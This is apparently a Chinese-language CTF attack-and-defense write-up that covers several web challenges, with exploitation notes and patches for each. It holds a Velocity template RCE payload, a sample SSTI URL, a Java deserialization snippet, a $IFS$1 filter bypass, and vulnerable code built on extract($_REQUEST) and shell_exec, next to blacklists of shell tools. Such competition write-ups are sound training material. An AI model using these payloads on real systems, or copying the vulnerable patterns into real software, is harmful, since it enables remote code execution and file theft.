D1no Writeup
赛题源码下载: https://kengwang.lanzouo.com/izQq722236de
flaskweb
下面send能给出让我们看 404
def decrypt(text):
"""
# 此函数将在如下代码执行时进行调用
path = request.path.strip('/')
解密路径
decrypted_path = decrypt(path.encode())
"""
cipher = AES.new(key, AES.MODE_ECB)
try:
decrypted_text = cipher.decrypt(binascii.unhexlify(text))
return decrypted_text.rstrip(b' ').decode()
except Exception as e:
source_code = inspect.getsource(decrypt)
# return render_template_string(f"Error: {str(e)}Decrypt function source code:%s " % source_code)
error_message = f"Error: {str(e)}<br><br>Decrypt function source code:<br><pre>{source_code}</pre>"
return error_message
key 的话在首页的 Header 里面
下面是示例 payload
http://10.1.0.122:81/6b8ddbcc15697c263420863d73fdcf2701dea6ad7b20a4b14589773c8f93b2bbc54c49a33db493b4c0773789ce5bdbc3dbd73f42700fb6475881ec8e087fca12c5c730f2b13ea07c6670fe634f820ea067a4e623a678d4d3b4b1469616aaf688
fix 环节
from flask import Flask, render_template, request, render_template_string, abort
import base64
from Crypto.Cipher import AES
import binascii
import inspect
app = Flask(__name__, template_folder='./templates')
key = b'0123456789abcdef'
# 解密函数
def decrypt(text):
"""
# 此函数将在如下代码执行时进行调用
path = request.path.strip('/')
解密路径
decrypted_path = decrypt(path.encode())
"""
cipher = AES.new(key, AES.MODE_ECB)
try:
decrypted_text = cipher.decrypt(binascii.unhexlify(text))
return decrypted_text.rstrip(b' ').decode()
except Exception as e:
source_code = inspect.getsource(decrypt)
# return render_template_string(f"Error: {str(e)}Decrypt function source code:%s " % source_code)
error_message = f"Error: {str(e)}<br><br>Decrypt function source code:<br><pre>{source_code}</pre>"
return error_message
# 模拟根目录下的 flag 文件内容
flag_content = "This is the flag content!"
# 路由处理函数
@app.route('/')
def index():
# 加载欢迎页面
# return render_template("html/index.html")
# return render_template("index.html")
response = app.make_response(render_template("index.html"))
response.headers['X-AES-Key-Base64'] = base64.b64encode(key).decode()
response.headers['X-AES-Key-bit'] = 128
return response
# 错误处理页面
@app.errorhandler(404)
def page_not_found(e):
# 获取请求的 URL 路径
path = request.path.strip('/')
# 解密路径
decrypted_path = decrypt(path.encode())
template = '''
<div class="center-content error">
<p> 404 Page </>
<p>URL Path {{decrypted_path}} is Not Found</p>
</div>
'''
return render_template_string(template,decrypted_path=decrypted_path), 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000, debug=True)
本来 page_not_found
中的逻辑是直接替换, 导致 SSTI
template = '''
<div class="center-content error">
<p> 404 Page </>
<p>URL Path %s is Not Found</p>
</div>
'''
return render_template_string(template % decrypted_path), 404
本来是 59 行替换导致 SSTI, 我们这样修
weblog
break 失败, 下面简述方法:
dirb
可以扫到 hide
目录, 找到 hide/connect_fun_dbs_test_hides.php
其中写着 jsonData 的传参格式
同时在 article 的 id 存在任意 SQL 注入
得到传参格式和后门地址, 我们可以利用 Rouge MySQL Server 来进行任意文件读
甚至服务器上起着了一个恶意的 MySQL 服务 3307
我们赛后看看源码
database.php
<?php
error_reporting(0);
define('MYSQL_SERVER', 'localhost') ;
define('MYSQL_USER', 'ctf') ;
define('MYSQL_PASSWORD', 'ctf') ;
define('MYSQL_DB', 'blog') ;
//connect to mysql
function db_connect(){
$link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link));
if(!mysqli_set_charset($link, "utf8")) {
printf("Error: ".mysqli_error($link));
}
return $link;
}
// test to connect
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(isset($_POST['jsonData'])){
$postData = json_decode($_POST['jsonData'], true);
if($postData !== null){
$link = mysqli_query(mysqli_connect($postData['host'],$postData['username'],$postData['password'],$postData['database'],$postData['port']), "set names utf8");
if ($link){
echo "<script>alert('success')</script>";
}else{
echo "<script>alert('failed')</script>";
}
} else {
echo "Failed to decode JSON data";
}
} else {
echo "No jsonData parameter received";
}
} else {
echo "No POST request received";
}
?>
fix
models/articles.php
中存在 SQL 注入, 我们通过预编译修复起来, 下面是一个示例
function articles_get ($link, $id_article) {
//The query
$query = mysqli_prepare($link,"SELECT * FROM articles WHERE id=?");
$query->bind_param('s',$id_article);
$query->execute();
$result = $query->get_result();
if (!$result)
die(mysqli_error($link));
$article = mysqli_fetch_assoc($result);
return $article;
}
服务器上面起了一个 RougeMySQL 来远程读文件, 我们把 database.php
修掉
if(strpos($postData['username'],"flag") != 0)
die("nonono");
if(strpos($postData['username'],"etc") != 0)
die("nonono");
if($postData['port']!="3306"){
die("nonono");
}
mynote
break 失败
需要到 admin 用户, 如果有师傅知道这一步如何完成的欢迎交流
拿到了一个命令执行的路径之后即可 RCE
fix
app.py 中存在命令执行以及双写绕过
filtered_commands = ['base64', 'sh', 'nl', 'ruby', 'perl', 'python', 'php', 'vim', 'vi', 'cut', 'xxd', 'hexdump', 'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less', 'grep', 'awk', 'sed']
for cmd in filtered_commands:
ip_address = ip_address.replace(cmd, '')
我们把他存在的 filter 给加强一下
filtered_commands = ['flag', 'base64', 'sh', 'nl', 'ruby', 'perl', 'python', 'php', 'vim', 'vi', 'cut', 'xxd', 'hexdump',
'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less',
'grep', 'awk', 'sed', 'IFS', '<', '>', '{', '}', '$', '>', '<', '|', '/', '&', '*', '?',';','`','(',')']
for cmd in filtered_commands:
if cmd in ip_address:
return "127.0.0.1"
ezssti
break
dirsearch 搜到源码进行审计, Java 的 Velocity 模板渲染, 我们使用 tplmap 攻击
下面是一个示例
#set($engine="")
#set($run=$engine.getClass().forName("java.lang.Runtime"))
#set($runtime=$run.getRuntime())
#set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}"))
#set($null=$proc.waitFor())
#set($istr=$proc.getInputStream())
#set($chr=$engine.getClass().forName("java.lang.Character"))
#set($output="")
#set($string=$engine.getClass().forName("java.lang.String"))
#foreach($i in [1..$istr.available()])
#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
#end
${output}
即可显示
zwxajavaf
break
dirsearch 搜到源码进行审计, 发现 MyCustomObject 存在反序列化
String path = "/usr/local/tomcat/webapps/admin_info.txt";
MyCustomObject myCustomObject = new MyCustomObject(path);
ObjectOutputStream ois = new ObjectOutputStream(new FileOutputStream("./bin"));
ois.writeObject(myCustomObject);
然后上传配置文件后处理, 读取到 admin 的账号密码
登录之后我们就可以登录上去, 然后通过 http://10.1.0.122:8080/zwxa-java-f1/admin/executeCommand
进行 RCE
ssrf2rce
<?php
function fetchUrl($url) {
if (!preg_match('/^http:\/\/ciscn\..*?@127\.0\.0\.1\/flag\.php\?look$/i', $url)) {
return "Almost Done~";
}
if (strpos($url, 'file://') !== false) {
return "Accessing files via file protocol is not allowed";
}
$flagContent = @file_get_contents('/var/www/guess/fllllllaaaaaaag.php');
if ($flagContent === false) {
return "Error accessing flag file";
}
return $flagContent;
}
$userInput = isset($_GET['url']) ? $_GET['url'] : '';
if (empty($userInput)) {
echo highlight_file(__FILE__, true);
} else {
$result = fetchUrl($userInput);
echo $result;
}
?>
源码审计
传入过掉第一个正则之后
<?php
function executeCommand($command) {
if (preg_match('/cat| |\\\\|\${IFS}|%09|\$[*@x]|tac|iconv|shuf|comm|bat|more|less|nl|od|sed|awk|perl|python|ruby|xxd|hexdump|string/', $command)) {
return "Hacker!!!";
}
$output = shell_exec($command);
if ($output === null) {
return "uhhhh";
}
return $output;
}
$command = isset($_GET['command']) ? $_GET['command'] : '';
if (!empty($command)) {
$result = executeCommand($command);
echo nl2br(htmlspecialchars($result, ENT_QUOTES, 'UTF-8'));
} else {
echo highlight_file(__FILE__, true);
}
?>
审计发现没有过滤 base64
bash
直接通过 $IFS$1
来当成空格用
fix
加强黑名单!
if (preg_match('/cat| |\\\\|IFS|%09|\$[*@x]|tac|php|grep|iconv|shuf|comm|bat|more|less|nl|od|sed|awk|perl|python|ruby|xxd|hexdump|string|sh|flag|\/|\$|\||>|<|\-|\;|\&|\`|head|\?|\*|\{|\}/', $command)) {
return "Hacker!!!";
}
zwphpc
break
break 失败, 赛后聊聊
这个题抽象出题人给压缩包加了密码, 没有任何提示想让人爆破半小时
record.php
存在
extract($_REQUEST);
${'xml_format'} = $xml_format;
file_put_contents($xml_file, $xml_format);
会允许用户覆盖 xml_format 来导致到 XXE
当然你也可以覆盖掉 $xml_file 来写马
fix
有个 XXE, 我们将其过滤, 把 explode 给删掉以绝后患, 可以把最终要写入的内容给过滤一下
没 Check 过, 赛后复盘发现 waf 没写好, 在这里就不贴出来了